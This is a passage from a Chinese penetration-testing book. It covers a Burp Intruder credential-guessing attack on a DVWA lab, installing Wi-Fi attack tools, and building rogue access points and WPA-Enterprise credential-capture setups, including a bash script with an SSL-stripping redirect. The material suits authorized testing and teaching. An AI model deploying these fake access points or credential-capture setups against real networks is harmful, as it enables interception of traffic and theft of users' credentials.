另一个对 Web 渗透测试有用的工具是 代理切换浏览器扩展。由于大多数 Web 应用程序测试活动都是在浏览器中进行的,每次切换代理或完全关闭代理时都需要更改浏览器或操作系统设置,这并不方便。更好的方法是通过专用的浏览器扩展提供工具栏上的按钮。我们使用 Mozilla Firefox 和 Google Chrome 浏览器的 FoxyProxy 扩展。

让我们从这个示例开始:

  1. 启动 DVWA 虚拟机,并根据你的攻击机器如何连接到实验环境来设置适当的网络接口设置(在我们的案例中,我们并没有启动整个实验网络,而只是启动 DVWA 虚拟机,并将接口设置为仅主机模式,从主机机器进行攻击)。

  2. 启动 Burp Suite,进入 Proxy | Options,检查是否有激活的代理监听器在 localhost:8080(如果没有,请激活它)。它应该像这样显示:示例

  3. 转到 Proxy | Intercept 标签页,检查 Intercept 按钮是否已选择。它将拦截网络请求,而不仅仅是记录它们。

  4. 在浏览器中配置一个本地代理,端口为 8080,或者在 FoxyProxy 浏览器扩展中创建并激活它:示例

  5. 使用 http://10.0.0.5/DVWA 链接在浏览器中打开 DVWA,你将在 Burp 中看到请求:示例

  6. 只需检查请求并关闭拦截。这将允许将下一个请求转发到目标,并且不会拦截后续请求。

  7. 在浏览器中登录应用程序,切换到 Burp 中的 Proxy | HTTP History 标签页,找到列表中的初始请求到 DVWA,右键点击它,并在上下文菜单中点击 Add 将其添加到范围。

  8. 转到 Target 标签页。在这里,你将看到自从你开始拦截以来,浏览器请求的域名和主机(目标)。在 Target | Scope 标签中,你将看到当前已添加到安全评估范围内的目标。检查 10.0.0.5/dvwa/ 是否在其中。

  9. 现在,你可以让 Burp 隐藏所有不在范围内的内容。它仍然会捕获所有的网络流量,但不会通过显示它来打扰你。要隐藏不在范围内的所有内容,只需点击标签菜单下的过滤线,并勾选 仅显示在范围内的项目 复选框:示例

    Proxy | HTTP history 标签页做同样的操作。

  10. 再次打开拦截功能,使用空凭证登录 DVWA,然后转到 Burp 中的 Proxy | Intercept 标签。你将看到 POST 请求体中的 usernamepassword 参数没有值。

  11. 右键点击请求体,在上下文菜单中选择发送到入侵者。然后切换到入侵者标签。

  12. 现在,我们将在 DVWA 的认证子系统上执行字典猜测攻击。我们将尝试猜测正确的凭据。进入位置子标签并点击清除 §按钮以重置 Burp 建议的所有位置。

  13. 将光标放在username=后,输入§字符两次,或者点击添加 §按钮两次。对密码参数做同样的操作。您应该得到如下内容:示例

  14. 选择攻击类型集群炸弹,然后转到下一个有效载荷标签。

  15. 有效载荷选项部分添加几个词,并添加真实的 DVWA 用户名:示例

  16. 将有效载荷集更改为 2,并为密码有效载荷添加几个词,包括真实的密码:示例

  17. 进入选项,向下滚动,在重定向部分选择仅限范围内单选按钮。

  18. 现在,向上滚动并点击右上角的开始攻击按钮,一个新窗口将会打开。它会显示攻击进度以及所有已发送和接收的请求与响应。

  19. 通过点击相应的列对列表按响应长度进行排序,您将看到哪些有效载荷已成功(在当前示例中,成功登录和失败响应的长度不同):示例

认证凭据被猜测出来了!当然,在实际项目中,您无法保证正确的凭据在有效载荷列表中,因此攻击的成功与否将取决于您的字典。

这只是一个快速且简短的实验示例,但截取代理的使用方法有很多,并且针对不同的目标有所不同。请花时间认真学习您选择的工具的手册。

总结

在本章中,您概览了几个流行的安全评估工具包,这些工具包广泛应用于各种黑客任务和项目,并且展示了它们在实验环境中的使用示例。您现在对它们的功能有了初步了解,为进一步学习奠定了基础。

除此之外,还有许多其他框架和独立工具,几乎涵盖了渗透测试员在项目中可能遇到或设想的所有任务。所以,当您有时间时,不要犹豫,探索新工具并在您的实验室中尝试它们——这也是您构建实验室的原因之一。

有大量无线安全分析工具,但有时在需要时很难在互联网上找到适合的工具。不过,我们推荐您访问一个仓库:github.com/0x90。它收集了大量软件和脚本,您可以在一个地方找到它们。

如果你刚接触渗透测试,还不确定应该将哪些工具加入你的工具库,一个好的起点是选择一个预装了大部分必要工具的渗透测试发行版。通常,我们使用 Kali Linux 作为发行版,但也有很多其他选择:

在下一章中,我们将帮助你准备无线黑客工作站,并向你展示在进行无线渗透测试时需要部署哪些工具。

第七章。准备无线渗透测试平台

在进行渗透测试时,始终需要做好充分准备,安装所有工具并测试脚本,以免在下载和使所有工具运行方面浪费宝贵的项目时间。特别是当现场没有互联网访问时,这一点尤为重要。在本章中,我们将帮助您准备无线渗透测试,探讨以下主题:

  • 渗透测试平台的常见变体

  • 选择适合的 Wi-Fi 硬件接口

  • 安装必要的 Wi-Fi 渗透测试软件

  • 准备重要的配置文件和脚本

  • 创建可启动的渗透测试 USB 闪存驱动器

渗透测试平台的常见变体

准备渗透测试平台并不是一个复杂的主题,但应该仔细考虑,以便为您的工作产生良好的结果。通常,这样的平台是基于笔记本电脑,但不一定是专门准备的笔记本电脑。我们考虑三种准备渗透测试平台的主要选项,您可以根据喜好选择:

  • 在笔记本电脑的硬盘上安装 Linux 和所有必要的工具(或只是准备好的渗透测试分发)作为主操作系统或第二操作系统

  • 准备一个安装了所有必要工具的虚拟机

  • 准备一个可启动的 USB 闪存驱动器,带有专用的渗透测试 Linux 发行版

注意

当我们谈论 Wi-Fi 渗透测试设备时,默认情况下我们总是假设使用 Linux 操作系统。这并不意味着 Windows 或 Mac OS 不能用于此目的。在我们看来,Linux 是最便于进行 Wi-Fi 渗透测试的操作系统,因为它允许您在低级别上与硬件接口交互,而不需要大量额外的商业软件或硬件。

准备 Mac OS 的过程应该与 Linux 更或多少相似,而唯一对我们有问题的是 Windows。我们在 Windows 下看到的 Wi-Fi 渗透测试工具是作为共享软件分发的,或者只能与高成本的特殊设备一起使用,而在 Linux 下我们使用的所有工具都是免费且开源的。

安装 Linux 是一个已经多次描述的简单主题,因此我们在这里不会重复介绍,只会提到在物理和虚拟机上安装它的过程相似。这主要取决于您的硬件驱动程序的可用性。在本章中,我们将帮助您选择合适的软件,并为您未来的渗透测试平台提供一些自动化提示。

使用虚拟机是一个方便的选择,特别是如果您的主要系统是 Windows,并且可以通过标准 VirtualBox 的 USB 转发功能将用于测试的物理 Wi-Fi USB 接口转发到虚拟机。但正如我们的经验所示,它并不总是可靠且运行良好。这就是为什么我们只建议在必要时使用这个选项。

使用预装渗透测试分发版的 USB 盘是一个非常好的选择,尤其是当你仅将系统用于测试,而不想更改笔记本的主操作系统,或者当你没有完全控制笔记本时(例如,使用他人的笔记本电脑)。

在本章中,我们将告诉你最有可能需要哪些软件,并介绍如何安装它们。我们将为你的渗透测试平台准备一些配置和脚本,同时也会展示如何创建一个可启动的 Kali Linux 2.0 USB 盘。首先,让我们看看如何选择一个适合渗透测试的物理 Wi-Fi 接口。

选择接口

在我们开始准备实例之前,我们需要关注硬件 Wi-Fi 接口,因为它可能是渗透测试平台中最重要的部分。硬件 Wi-Fi 接口对渗透测试至关重要,有三个主要标准会影响我们的选择:

  • 芯片组:Wi-Fi 接口的芯片组应能够支持数据包注入模式,这使我们能够在低层次与接口进行交互,并定制传输的数据包。

  • 功率与灵敏度:该参数决定了你与目标之间的距离——功率和灵敏度越高,距离越远。但你需要考虑到,较高的功率会消耗更多电能并缩短笔记本的电池寿命。

  • 比例:这个参数不会影响渗透测试的质量,但会影响工作上的便捷性。接口越大,线缆越多,现场使用时就越不方便。

让我们回顾两种典型的硬件接口选项:

  • 内建笔记本接口:在某些情况下,您可以使用笔记本的内建 Wi-Fi 接口,尤其是当您在主机上安装操作系统和软件,而非使用虚拟机实例,或者使用可启动 USB 盘时。

    其优点是可以节省购买额外接口的费用,并且使整个平台更加紧凑、不易引人怀疑(在公共场合使用一台有奇怪线缆和设备或外部接口的笔记本电脑,往往会引来更多不必要的疑问)。虽然怀疑性对我们来说并不重要,因为我们是经过授权的道德黑客,但工作舒适性通常非常宝贵。

    缺点是,这类接口几乎总是信号强度较差,并且可能具有不支持必要模式和功能的芯片组,因此不适用于渗透测试。

  • 外部 USB 接口:典型的外部 USB 接口形态是需要直接插入 USB 端口的加密狗,或是需要通过电缆连接到 USB 端口的设备。外部 USB 接口通常还配有外部可拆卸天线。

    其优点是,这种类型的接口通常提供更好的传输/接收能力,具有更高的信号功率和灵敏度。与内建接口相比,USB 接口更容易更换。

    外部 Wi-Fi 接口的缺点包括额外的成本、更高的电池消耗和降低的工作舒适度。

当你选择一个接口时,最重要的参数应该是芯片组。如果它不支持数据包注入模式,那么你就不需要选择它。其他两个标准我们留给你的个人喜好。

你可以很容易地在互联网上的许多网站和论坛上找到支持数据包注入模式的芯片组列表,但我们建议你首先阅读 Aircrack-ng 团队在其网站上编写的手册:

根据我们的经验,最常见的适用芯片组如下:

  • Atheros AR9271

  • Ralink RT3070

  • Ralink RT3572

  • Realtek 8187L

如果你不想花时间比较各种 Wi-Fi 接口及其参数,我们可以推荐来自 Alpha Network 公司的几款我们最喜欢的设备:

  • Alfa AWUS 036 H,采用 RTL8187 芯片组

  • Alfa AWUS 036 NHR (v.2),采用 RTL8188RU 芯片组

TP-Link TP-WN722N 是一个非常好的 USB 接口。你可以在下图中看到这三种接口:

选择接口

我们的 Wi-Fi 渗透测试“工作马”

如果你已经有了一个 Wi-Fi 接口,并且不确定它是否支持数据包注入模式,你可以通过使用以下手册,利用 Aircrack-ng 套件进行测试:

www.aircrack-ng.org/doku.php?id=injection_test

安装必要的软件

提供的信息应该足以成功选择一个接口,我们可以继续准备 Wi-Fi 黑客平台的软件部分。

假设你已经在硬盘或虚拟机上安装了基于 Debian 的 Linux 发行版,并且想要为 Wi-Fi 渗透测试准备工具。以下是我们推荐你首先安装的必要工具列表:

  • Aircrack-ng 套件:这是一个很棒的无线黑客工具包,我们在第六章中对其进行了评测,探索黑客工具包

  • Hostapd:这是用于安装假冒接入点的软件。它在与 FreeRADIUS-WPE 一起使用时,对于 WPA-Enterprise 攻击非常有效。

  • Hostapd-WPE:这是一个用于安装假冒接入点并发起各种攻击类型的软件,包括对受 WPA-Enterprise 保护的 WLAN 进行攻击。

  • FreeRADIUS-WPE:这是我们用来保护 WLAN 的 FreeRADIUS 软件的一个修改版本。这个修改在 RADIUS 身份验证过程中将用户名和密码哈希保存在日志文件中。现在它已经过时,推荐使用 Hostapd-WPE 代替。

  • Mana:这是一个攻击无线客户端的工具包(我们在第六章中也有介绍它,探索黑客工具包)。

  • SSLstrip:这是著名人物 Moxie Marlinspike 为 SSL 连接的中间人攻击开发的工具。

  • Wireshark 或 tcpdump:这些是用于网络流量分析的优秀工具,是大多数渗透测试人员的标准工具。

  • Reaver:这是一个用于攻击 WPS 的有用工具。

  • Nmap:这是一个流行的网络扫描器,世界各地成千上万的渗透测试人员都非常重视的另一款著名工具(你已经可以在第六章中了解它,探索黑客工具包)。

  • Wifite:这是一个用于自动化 Wi-Fi 黑客任务的 Python 脚本。它需要安装 Aircrack-ng。

  • WiFi Honey:这是一个用于 Wi-Fi 黑客自动化的 bash 脚本,并且它还需要 Aircrack-ng。

  • coWPAtty:这是一个 WPA-PSK 破解软件,可以通过常规字典攻击以及使用预计算的 PMK 文件进行破解。

  • Dnsmasq:这是一个 DNS 和 DHCP 服务器软件,对于伪造接入点非常有用。

这个列表可以扩展,你可能会有自己喜爱的、有用的工具没有被包含(例如 Karmetasploit),但这里列出的工具是我们在日常工作中使用的必备工具。无需多言,你始终可以安装任何你认为需要或想尝试的工具。

我们列表中的大多数软件可以通过以下命令组合使用apt-get进行安装:

**sudo apt-get update && sudo apt-get install -y aircrack-ng wifite reaver sslstrip wifite nmap dnsmasq**

参数-y使apt-get假定你对所有安装提示回答yes,因此它不会多次打扰你。

但你需要手动下载和安装其他工具。在下面的表格中,你可以找到其他软件发行版的官方源链接:

工具 来源
FreeRADIUS-WPE github.com/brad-anton/freeradius-wpe
Hostapd-WPE github.com/OpenSecurityResearch/hostapd-wpe
Mana Toolkit github.com/sensepost/mana
WiFi Honey digi.ninja/projects/wifi_honey.php
coWPAtty www.willhackforsushi.com/?page_id=50

您可以在《Kali Linux: Wireless Penetration Testing Beginner's Guide》一书中找到更多关于安装和使用大量无线渗透测试工具的信息,Vivek Ramachandran 和 Cameron BuchananPackt Publishingwww.amazon.com/Kali-Linux-Wireless-Penetration-Beginners/dp/1783280417)。

让我们从安装 FreeRADIUS-WPE 开始。尽管它已经过时,但我们已经使用了它很多次,并且仍然很欣赏它,因此我们希望向您展示如何安装和配置它,以防您想尝试。

由于我们使用的是基于 Debian 的 Linux 发行版,您可以下载最新的.deb文件freeradius-server-wpe_2.1.12-1_i386.debgithub.com/brad-anton/freeradius-wpe/raw/master/freeradius-server-wpe_2.1.12-1_i386.deb),并使用 DPKG 包管理器进行安装:

**sudo dpkg --install freeradius-server-wpe_2.1.12-1_i386.deb && sudo ldconfig**

FreeRADIUS-WPE 现在已安装,您可以通过输入以下命令来检查它:

**radius -v**

要运行 FreeRADIUS-WPE 服务器,请输入以下命令:

**radiusd -x**

但在运行之前,您需要准备证书并根据目标 WLAN 参数更改配置文件。我们将在下一个主题中讨论这一点。现在,让我们继续安装 Hostapd-WPE。

安装 Hostapd-WPE 实际上是通过一个特殊的补丁修补 Hostapd 2.2,添加攻击功能。因此,我们首先需要安装 Hostapd 本身。它可以通过apt-get从仓库安装,但当前可用版本是 v.2.1,而我们需要的是 v.2.2。因此,我们需要直接从网站下载 v.2.2 并手动安装,但这需要先安装一些前置条件:

**sudo apt-get update && sudo apt-get install -y git libssl-dev libnl-dev**

然后,下载并解压必要的文件:

**git clone https://github.com/OpenSecurityResearch/hostapd-wpe**
**wget http://hostap.epitest.fi/releases/hostapd-2.2.tar.gz**
**tar -zxf hostapd-2.2.tar.gz**

现在,进入新目录并修补 Hostapd:

**cd hostapd-2.2**
**patch -p1 < ../hostapd-wpe/hostapd-wpe.patch**

接下来,进入hostapd目录并使用make命令:

**cd hostapd**
**make**

软件现在已安装。要启动它,请在hostapd-2.2/hostapd目录中运行以下命令:

**sudo ./hostapd-wpe %config_file_name%**

您可以在相同目录下的hostapd-wpe.log文件中找到身份验证尝试的结果。

注意

当您在基于 Debian 的 Linux 中使用 Wi-Fi 接口时,可能会遇到与网络服务干扰的问题。为避免此问题,请编辑其配置文件/etc/NetworkManager/NetworkManager.conf,并附加以下行:

[keyfile]
unmanaged-devices=mac:xx:xx:xx:xx:xx:xx

这里,xx:xx:xx:xx:xx:xx是您的 Wi-Fi 接口的硬件地址(您可以通过例如命令ifconfig -a的输出找到它)。

之后,您需要重启网络服务:

**sudo /etc/init.d/networking restart**

这将使您的 Wi-Fi 接口不受网络服务管理的设备影响,并消除干扰。

此外,我们建议使用airmon-ng功能check检查与其他服务和软件的干扰。如果您在命令中添加kill,它还会终止所有可能干扰的进程:

**sudo airmon-ng check kill**

现在轮到 Mana 了。从 GitHub 下载 Mana 压缩包并解压:

**unzip mana-master.zip**

然后,进入 Mana 目录并编辑 Ubuntu 的安装脚本:

**cd mana-master/**
**nano ubuntu-install.sh**

你需要找到以下一行:

echo "deb http://http.kali.org/kali kali main non-free contrib" > /etc/apt/sources.list.d/mana-kali.list

用以下这一行替换:

echo "deb http://http.kali.org/kali sana main non-free contrib" > /etc/apt/sources.list.d/mana-kali.list

现在,你可以更新包信息并运行安装脚本:

**sudo apt-get update && sudo ./ubuntu-install.sh**

它会显示一个警告,说明安装程序假设你使用的是 Ubuntu 14.04。

该脚本将自动安装所有必要的依赖项,你只需在安装过程中回答 yes,它会自动完成所有操作。现在,Mana 工具包已经安装完毕。

WiFi Honey 不需要安装,但它要求安装前提软件 Screen 和 Aircrack-ng。我们已经安装了 Aircrack-ng,你可以使用以下命令安装 Screen:

**sudo apt-get install screen**

接下来,只需下载压缩包,将其放入你喜欢的目录并解压:

**tar jxf wifi_honey_1.0.tar.bz2**

并使用以下命令使其可执行:

**chmod +x wifi_honey.sh**

WiFi Honey 已准备好使用。

我们列表中的最后一款软件是 coWPAtty。首先,我们需要安装 OpenSSL 和 libpcap,这是 coWPAtty 所必需的:

**sudo apt-get install openssl libpcap0.8-dev**

然后,你可以从官方网站下载最新版本的压缩包到你喜欢的文件夹并解压:

**tar zxvf cowpatty-4.6.tgz**

然后,进入目录并编译 coWPAtty:

**cd cowpatty-4.6/**
**make**

它应在你可以启动它的同一目录中编译 coWPAtty:

**./cowpatty**

最后,我们已经完成了软件安装,可以进入下一步。

准备配置文件和脚本

我们已经在我们的 Wi-Fi 渗透测试系统中安装了必要的工具,但这只是准备工作的一部分。为了能够使用其中一些工具,我们需要准备一些配置文件并开发脚本来自动化某些任务。

注意

你可能需要调整本章中给出的部分配置文件和脚本,以使它们适应你的硬件和软件环境。

我们希望从 Hostapd 开始。我们通常在两种情况下使用它:当我们需要安装一个虚假 AP 来攻击客户端流量时,以及在攻击 WPA-Enterprise 保护的网络时,用 FreeRADIUS-WPE 设置 AP。

基于 Hostapd 的独立接入点(AP)

要为客户端流量或钓鱼攻击安装一个伪造的 AP,你可以在独立模式下使用 Hostapd,而无需将其连接到 RADIUS 服务器。通常情况下,我们需要它是开放的,但有时也会遇到需要它是 WPA/WPA2 保护的情况,例如,当你需要模拟一个特定的 WPA/WPA2 保护的 AP 时。因此,我们需要为这两种情况准备两个配置文件模板:

以下是 open.conf 文件的内容,用于开放式接入点(AP):

interface=wlan0
driver=nl80211
ssid=Free Wi-Fi
channel=8

以下是 wpa.conf 文件的内容,用于 WPA2 保护的接入点(AP):

interface=wlan0
driver=nl80211
ssid=YourSSID
channel=8
wpa_passphrase=your_passphrase
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP

在使用这些模板之前,你需要根据具体情况修改一些值:

  • 驱动程序的值应更改为与你的 Wi-Fi 接口相对应的值(就 Hostapd 而言,你可以从 Hostapd 提供的示例配置文件中获取该值)

  • 接口的值应更改为你的 Wi-Fi 接口名称,如果它不是以 wlan0 连接的

  • 我们需要 ssid 的值来更改 WLAN 的名称

  • 通道的值可以在 1 到 11 之间任意选择

  • 如果您正在设置 WPA 保护的 AP,则需要 WPA 密码

然后,您可以使用 Hostapd 和先前提到的配置之一启动一个 AP,例如 open.conf

**sudo hostapd open.conf**

在您的 Linux 终端中,您应该看到以下内容:

基于独立 Hostapd 的 AP

启动一个开放式 AP

同时,您可以在另一台设备上的可用网络列表中看到您的开放 WLAN:

基于独立 Hostapd 的 AP

我们的开放式 AP 在可用 WLAN 列表中列出

提示

如果您在 Hostapd 上遇到任何问题,选项 -d 非常有帮助。它使 Hostapd 在终端中显示调试信息。选项 -f 将调试输出转发到文件而不是标准输出。您可能还想使用 -t-K 选项在调试输出中包含一些额外信息。

让我们进一步准备一个 DHCP 服务器的配置,以便将其用于使您的 Rogue AP 更具吸引力和真实性。我们使用 Dnsmasq 软件设置 DHCP 服务器,它需要一个配置文件 /etc/dnsmasq.conf

interface=wlan0
dhcp-range=192.168.0.2,192.168.0.255,12h
dhcp-option=3,192.168.0.1
dhcp-option=6,192.168.0.1
log-facility=/var/log/dnsmasq.log
log-queries

如果您的 Wi-Fi 接口不是 wlan0,则需要更改接口参数值。使用 DHCP 选项 3 和 6,我们设置路由器和 DNS 服务器的 IP 地址以在 DHCP 响应中分发。使用最后两行,我们配置日志输出以便在出现问题时能够调试我们的设置。

自动化 AP 设置

通常,在渗透测试期间,您不希望花时间更改配置文件,可能会忘记更改某些参数。因此,自动化流程是明智的选择。我们为您准备了一个 bash 脚本 hostapd_auto.sh,它会自动创建包含必要参数的临时配置文件,然后使用此配置启动 Hostapd:

#!/bin/bash
#show usage tips if no argument supplied
if [[ $# < 1 ]]
then
    echo -e "Usage: ./hostap_standalone.sh options"
    echo -e "\t-i|--interface - wlan interface to use (default wlan0)"
    echo -e "\t-s|--ssid - ssid to set (default \"Free WiFi\""
    echo -e "\t-d|--driver - driver, corresponding to hostapd (default nl80211)"
    echo -e "\t--security - security type: open, wpa, wpa2 (default \"open\")"
    exit
fi
#Let's save all command line arguments into variables
while [[ $# > 1 ]]
do
key="$1"

case $key in
    -i|--interface)
    WIFIINTERFACE="$2"
    shift # pass next argument
    ;;
    -s|--ssid)
    SSID="$2"
    shift # pass next argument
    ;;
    -d|--driver)
    DRIVER="$2"
    shift # pass next argument
    ;;
    --security)
    SECURITY="$2"
    shift # pass next argument
    ;;
    *)
            # unknown option
    ;;
esac
shift # pass next argument
done
#Check if parameters were set
if [ -z "$WIFIINTERFACE" ]
then
    echo "WIFI interface not set ( -i | --interface ), using default wlan0"
    WIFIINTERFACE="wlan0"
fi
if [ -z "$SSID" ]
then
    echo -e "SSID not set ( -s | --ssid ), using default \"Free WiFi\""
    SSID="Free WiFi"
fi
if [ -z "$DRIVER" ]
then
    echo "Driver not set ( -d | --driver ), using default nl80211"
    DRIVER="nl80211"
fi
if [ ! -z "$SECURITY" ]
then
    case $SECURITY in
    wpa|WPA)
    wpa="wpa=1"
    echo "Enter WPA passphrase:"
    read PASS
    ;;
    wpa2|WPA2)
    wpa="wpa=2"
    echo "Enter WPA passphrase:"
    read PASS
    ;;
    open|Open|OPEN)

    ;;
    *)
    echo "Unknown security type, setting an open AP"
    SECURITY="open"
    ;;
     esac
else
    echo "Security not set ( --security ), setting an open AP"
     SECURITY="open"
fi
#Creating a temporary configuration file
echo "interface=$WIFIINTERFACE" >> temp.conf
echo "driver=$DRIVER" >> temp.conf
echo "channel=8" >> temp.conf
echo "ssid=$SSID" >> temp.conf
if [ "$SECURITY" != "open" ]
then
    echo $wpa >> temp.conf
    echo "wpa_passphrase=$PASS" >> temp.conf
    echo "wpa_key_mgmt=WPA-PSK" >> temp.conf
    echo "wpa_pairwise=TKIP CCMP" >> temp.conf
fi
#Preparing the host for network traffic processing
#Stopping the networking service to exclude conflicts
/etc/init.d/networking stop
#set the IP parameters for wireless interface
ifconfig $WIFIINTERFACE 192.168.0.1 netmask 255.255.255.0
route add -net 192.168.0.0 netmask 255.255.255.0 gw 192.168.0.1
#start dhcp and dns server
service dnsmasq start
#Prepare network traffic processing rules
iptables -F
iptables -t nat -F
iptables -A FORWARD -i eth0 -d 192.168.0.0/255.255.255.0 -j ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
#You can uncomment the following line to redirect client ssl traffic to TCP port 10000
#iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 10000
#enable network traffic forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
#Starting AP
echo "Starting an AP with the following parameters:"
echo "SSID: $SSID"
echo "SECURITY: $SECURITY"
echo "Interface: $WIFIINTERFACE"
echo "Driver: $DRIVER"
hostapd temp.conf
wait
#Removing the temporary configuration file
rm temp.conf
#Stopping dnsmasq
service dnsmasq stop
#Starting networking service
/etc/init.d/networking start

您只需将脚本设为可执行(chmod +x hostapd_auto.sh)并在不带参数的情况下启动它,以查看可能的选项。当您停止 Hostapd 时,它将自动删除临时配置文件。不要忘记在启动脚本时使用 sudo,因为它需要更改需要 root 权限的系统参数。

WPE-Enterprise 的配置

现在,让我们讨论一个带有 WPE-Enterprise 保护 WLAN 的场景。对于这种情况,我们需要使用 Hostapd 和 FreeRADIUS-WPE,或者 Hostapd-WPE。在第一种情况下,您需要配置一个 RADIUS 服务器,并为 Hostapd 创建一个额外的配置文件。

但是首先,无论你使用什么,你都需要配置 RADIUS 证书参数并在开始攻击 WPA-Enterprise 保护的 WLAN 时创建证书,这对于 FreeRADIUS-WPE 和 Hostapd-WPE 都适用。这可以通过更改ca.cnf文件中的[certificate_authority]部分和server.cnf文件中的[server]部分的参数来完成。根据你的任务,你可能还需要更改client.cnf文件中[client]部分的值。

将参数设置为与你的目标 WLAN 相应的相同参数值,可以使攻击变得不那么显眼,也不那么可疑。在更改所有必要的参数值后,只需从相同的目录执行引导脚本来生成证书:

**./bootstrap**

FreeRADIUS-WPE 的配置过程与第五章中描述的 FreeRADIUS 配置过程类似,实现安全。因此,我们不会在本章中描述它,但我们会向你展示一个配置文件wpa-e.conf,它允许 Hostapd 与 FreeRADIUS-WPE 一起工作:

interface=wlan0
driver=nl80211
ssid=YourSSID
ieee8021x=1
eapol_key_index_workaround=0
own_ip_addr=192.168.0.1
auth_server_addr=127.0.0.1
auth_server_port=1812
auth_server_shared_secret=YourRADIUSsecret
wpa=1
wpa_key_mgmt=WPA-EAP
channel=1
wpa_pairwise=TKIP CCMP
logger_stdout=-1
logger_stdout_level=0
dump_file=hostapd.dump

在本示例中,你需要更改以下内容:

  • 更改interfacedriver参数,并根据你的硬件 Wi-Fi 接口设置值。

  • 更改ssid参数,它应该与目标 WLAN 的 SSID 相同。

  • 更改auth_server_shared_secret,这是用于将 Hostapd 连接到 RADIUS 服务器的共享密钥(密码)。

最后三行配置了日志记录;你可以注释掉它们,在需要调试配置时再使用。

现在,你可以先启动 FreeRADIUS-WPE,然后再启动 Hostapd,以拥有一个 WPA-Enterprise 保护的 AP。但你也可以仅使用 Hostapd-WPE 和一个包含以下内容的配置文件来实现这一点:

interface=wlan0
ssid=PACKT

eap_user_file=hostapd-wpe.eap_user
ca_cert=../../hostapd-wpe/certs/ca.pem
server_cert=../../hostapd-wpe/certs/server.pem
private_key=../../hostapd-wpe/certs/server.pem
private_key_passwd=whatever
dh_file=../../hostapd-wpe/certs/dh

hw_mode=g
channel=1

eap_server=1
eap_fast_a_id=101112131415161718191a1b1c1d1e1f
eap_fast_a_id_info=hostapd-wpe
eap_fast_prov=3
ieee8021x=1
pac_key_lifetime=604800
pac_key_refresh_time=86400
pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f
wpa=1
wpa_key_mgmt=WPA-EAP
wpa_pairwise=TKIP CCMP

但是与 Hostapd 一样,Hostapd-WPE 也随附一个名为hostapd-wpe.conf的示例配置文件,其中包含所有可能参数及其默认值的信息。你只需更改该文件中的interfacessid参数并使用它。无论如何,我们建议你查看它,以了解如何创建自己的配置文件或修改现有文件。

提示

作为一个练习,你可以修改前一小节中的自动化脚本,使其也能与 WPA-Enterprise 配置一起使用。

准备 Kali USB 闪存盘

之前章节中写的内容适合那些希望拥有一个“干净”的渗透测试平台,仅包含他们选择并安装的工具的人。但在大多数情况下,这并不是必要的,我们认为这样做往往不值得花费时间。更便捷的解决方案是使用预先准备好的渗透测试发行版。我们已经在本章开头提到过它,当时谈到了虚拟机,但现在让我们回顾一下如何创建一个 可启动的渗透测试 USB 启动盘

在我们的示例中,我们将展示如何在 Windows 和 Linux 系统上创建一个带有 Kali 2.0 渗透测试发行版的可启动 USB 启动盘。如果你想快速完成,而且不希望 USB 启动盘上有额外复杂性,我们建议你在 Windows 下创建它。但如果你想创建一个 持久化加密 USB 启动盘,你需要使用 Linux 并手动完成所有操作。我们推荐这种方法,因为我们在 Windows 下使用的镜像写入软件只会在 USB 驱动器上创建一个分区,而对于一个带有加密持久化存储的可启动 USB,你需要三个分区。

注意

你需要有一个至少 8 GB 容量的 USB 驱动器才能支持加密的持久化存储。

在 Windows 下创建 USB 启动盘

我们先从最简单的选项开始,在 Windows 下创建一个非持久化的 USB 启动盘。

提示

如果你想创建一个持久化的 USB 启动盘,可以直接跳到下一个子主题,查看如何在 Linux 下创建它。

我们将使用 Universal USB Installer (UUI) 软件 (www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/) 来进行镜像写入。假设你已经从官方网站下载了最新版的 Kali Linux 2.0 镜像并启动了 UUI。过程非常简单:

  1. 从下拉菜单中选择所需的 Linux 发行版,正如下图所示:在 Windows 下创建 USB 启动盘

    创建一个可启动的 Kali USB 启动盘

  2. 选择你要写入的操作系统镜像文件。

  3. 从下拉菜单中选择目标 USB 磁盘。如果下拉菜单中没有显示你的 USB 驱动器,勾选 显示所有驱动器 复选框,它将显示所有可用的系统驱动器。

  4. 选择在写入之前格式化 USB 驱动器的选项,并点击 创建。你的设置应该如下所示:在 Windows 下创建 USB 启动盘

    Kali USB 启动盘镜像写入的最终 UUI 设置

  5. 软件会向你显示它将要执行的操作摘要,并再次询问你是否同意。

  6. 同意并等待写入过程完成。

  7. 享受你的可启动 Kali Linux 2.0 USB 启动盘。

注意

或者,你可以使用 Win32 Disk Imager 将可启动镜像写入 USB 驱动器或磁盘。你可以从sourceforge.net/projects/win32diskimager/下载该软件。

在 Linux 下创建 USB 驱动器

如果你决定想要一个加密的持久 USB 驱动器,或者你通常只使用 Linux 而非 Windows,我们将展示如何在这个系统下创建 Kali USB 驱动器。如果你没有将 Linux 安装为主机系统,你还可以在 Windows 上使用带有 USB 转发功能的 Linux 虚拟机。

我们已经下载了一个名为kali-linux-2.0-amd64.iso的 Kali 镜像文件,如果你的文件名相同,接下来的指南可以保持原样。但如果文件名不同,请确保在你输入的命令中替换它。步骤如下:

  1. 插入 USB 驱动器或将其连接到虚拟机。使用fdisk -l查找 USB 驱动器的设备名称(如有必要,使用sudo)。在我们的案例中,它是/dev/sdb

  2. 使用 Linux 中的dd克隆命令将镜像复制到 USB 驱动器:

    **dd if=kali-linux-2.0-amd64.iso of=/dev/sdb bs=512k**
    
    
  3. 等待直到镜像完全复制到 USB 驱动器。根据你的软件和硬件配置,这可能需要一些时间。在我们的案例中(使用仅支持 USB 1.0 的 VirtualBox 虚拟机),大约花费了 20 分钟。

  4. 当过程完成时,你将看到已复制的字节数和所用时间的总结。此时,镜像录制完成。

  5. 你可以再次运行fdisk -l来检查 USB 驱动器上的分区。应该有两个分区:在 Linux 下创建 USB 驱动器

    可启动 Kali USB 驱动器的分区信息

现在,你可以使用任何笔记本电脑从新创建的 Kali Linux 2.0 USB 驱动器启动;如果你经常旅行,这特别方便。

创建加密的持久分区

